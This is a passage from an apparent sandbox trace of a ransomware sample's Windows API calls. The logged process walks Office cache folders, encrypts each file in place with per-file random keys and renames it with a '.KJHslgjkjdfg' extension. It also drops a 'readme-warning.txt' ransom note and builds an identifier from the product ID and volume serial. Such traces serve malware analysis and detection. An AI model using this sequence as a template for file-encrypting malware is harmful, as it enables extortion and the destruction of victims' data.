| out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VisioMUI.xml", cAlternateFileName="")) returned 1 [0155.599] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0155.599] GetProcessHeap () returned 0x990000 [0155.600] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0155.600] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0155.600] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0155.600] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0x1, lpOverlapped=0x0) returned 1 [0155.602] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0155.602] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0155.602] GetProcessHeap () returned 0x990000 [0155.602] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0155.602] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40) returned 1 [0155.602] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.603] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f8*=0x40, lpOverlapped=0x0) returned 1 [0155.603] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0155.603] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0155.603] WriteFile (in: hFile=0x124, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0155.603] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0155.603] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0155.603] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0155.603] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0155.603] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.603] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x251f, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x251f, lpOverlapped=0x0) returned 1 [0155.604] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x2520, dwBufLen=0x2520 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x2520) returned 1 [0155.605] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.605] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2520, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x2520, lpOverlapped=0x0) returned 1 [0155.605] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.605] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x25f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.605] SetEndOfFile (hFile=0x124) returned 1 [0155.608] GetProcessHeap () returned 0x990000 [0155.608] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0155.608] GetProcessHeap () returned 0x990000 [0155.608] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0155.608] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml.kjhslgjkjdfg")) returned 1 [0155.612] CloseHandle (hObject=0x124) returned 1 [0155.612] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VisioMUI.xml", cAlternateFileName="")) returned 0 [0155.612] GetProcessHeap () returned 0x990000 [0155.612] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0155.612] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0155.612] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29df330 | out: pbData=0x9af7b0, pdwDataLen=0x29df330) returned 1 [0155.612] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.612] GetProcessHeap () returned 0x990000 [0155.612] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0155.612] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0155.612] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29df330 | out: pbData=0x9af7f8, pdwDataLen=0x29df330) returned 1 [0155.612] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.612] GetProcessHeap () returned 0x990000 [0155.612] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9dc8a8 [0155.613] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0155.613] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9dc8a8, pdwDataLen=0x29df330 | out: pbData=0x9dc8a8, pdwDataLen=0x29df330) returned 1 [0155.613] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.613] GetProcessHeap () returned 0x990000 [0155.613] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0155.613] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0155.613] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29def10 | out: pbData=0x9af840, pdwDataLen=0x29def10) returned 1 [0155.613] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.613] GetProcessHeap () returned 0x990000 [0155.613] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b1918 [0155.613] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0155.613] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b1918, pdwDataLen=0x29def10 | out: pbData=0x9b1918, pdwDataLen=0x29def10) returned 1 [0155.613] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.614] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29def0c | out: phkResult=0x29def0c*=0x124) returned 0x0 [0155.614] RegQueryValueExA (in: hKey=0x124, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29def18, lpcbData=0x29def14*=0x400 | out: lpType=0x0, lpData=0x29def18*=0x30, lpcbData=0x29def14*=0x18) returned 0x0 [0155.614] RegCloseKey (hKey=0x124) returned 0x0 [0155.614] GetProcessHeap () returned 0x990000 [0155.614] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0155.614] GetProcessHeap () returned 0x990000 [0155.614] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1918 | out: hHeap=0x990000) returned 1 [0155.614] GetProcessHeap () returned 0x990000 [0155.614] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b1918 [0155.614] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dec80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0155.614] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b1918, pdwDataLen=0x29dece4 | out: pbData=0x9b1918, pdwDataLen=0x29dece4) returned 1 [0155.614] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.614] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29dece8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0155.614] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29dece0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29dece0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0155.615] GetProcessHeap () returned 0x990000 [0155.615] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1918 | out: hHeap=0x990000) returned 1 [0155.615] wsprintfA (in: param_1=0x29def2f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0155.615] wsprintfA (in: param_1=0x29df33c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0155.615] GetProcessHeap () returned 0x990000 [0155.615] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0155.615] wsprintfW (in: param_1=0x29de30c, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\readme-warning.txt") returned 81 [0155.615] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\readme-warning.txt" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0155.617] WriteFile (in: hFile=0x124, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29de308, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29de308*=0x3b3, lpOverlapped=0x0) returned 1 [0155.618] CloseHandle (hObject=0x124) returned 1 [0155.619] GetProcessHeap () returned 0x990000 [0155.619] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dc8a8 | out: hHeap=0x990000) returned 1 [0155.619] GetProcessHeap () returned 0x990000 [0155.619] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0155.619] GetProcessHeap () returned 0x990000 [0155.619] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0155.619] GetProcessHeap () returned 0x990000 [0155.619] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0155.619] FindClose (in: hFindFile=0x9b6528 | out: hFindFile=0x9b6528) returned 1 [0155.620] GetProcessHeap () returned 0x990000 [0155.620] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dc610 | out: hHeap=0x990000) returned 1 [0155.620] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{90140000-00A1-0409-1000-0000000FF1CE}-C", cAlternateFileName="{92572~1")) returned 1 [0155.620] GetProcessHeap () returned 0x990000 [0155.620] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8e) returned 0x9b2468 [0155.620] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6528 [0155.623] GetProcessHeap () returned 0x990000 [0155.623] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0155.623] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0155.623] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5914a30, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OneNoteMUI.msi", cAlternateFileName="ONENOT~1.MSI")) returned 1 [0155.623] GetProcessHeap () returned 0x990000 [0155.623] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x290) returned 0x9dc610 [0155.623] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0155.623] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x29df508 | out: lpFileSize=0x29df508*=2503680) returned 1 [0155.623] GetProcessHeap () returned 0x990000 [0155.623] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0155.623] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0155.623] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.623] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0155.624] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0155.624] GetProcessHeap () returned 0x990000 [0155.624] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0155.624] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4d8*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4d8*=0x40) returned 1 [0155.624] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.624] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f4*=0x40, lpOverlapped=0x0) returned 1 [0155.627] WriteFile (in: hFile=0x124, lpBuffer=0x29df4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df4fc*, lpNumberOfBytesWritten=0x29df4f4*=0x4, lpOverlapped=0x0) returned 1 [0155.628] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f4*=0x10, lpOverlapped=0x0) returned 1 [0155.628] WriteFile (in: hFile=0x124, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df4f4*=0x80, lpOverlapped=0x0) returned 1 [0155.628] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0155.628] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f4*=0x8, lpOverlapped=0x0) returned 1 [0155.628] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0155.628] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0155.628] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0155.628] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0155.636] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0155.642] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.642] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0155.643] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2634d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.643] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0155.643] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0155.643] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0155.659] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0155.662] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.662] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0155.664] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2634d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.664] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0155.664] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0155.664] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0155.672] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0155.676] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.676] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0155.677] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2634d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.677] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0155.677] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.677] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2634d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.677] SetEndOfFile (hFile=0x124) returned 1 [0155.682] GetProcessHeap () returned 0x990000 [0155.682] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0155.682] GetProcessHeap () returned 0x990000 [0155.682] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0155.682] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.kjhslgjkjdfg")) returned 1 [0155.683] CloseHandle (hObject=0x124) returned 1 [0155.684] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, 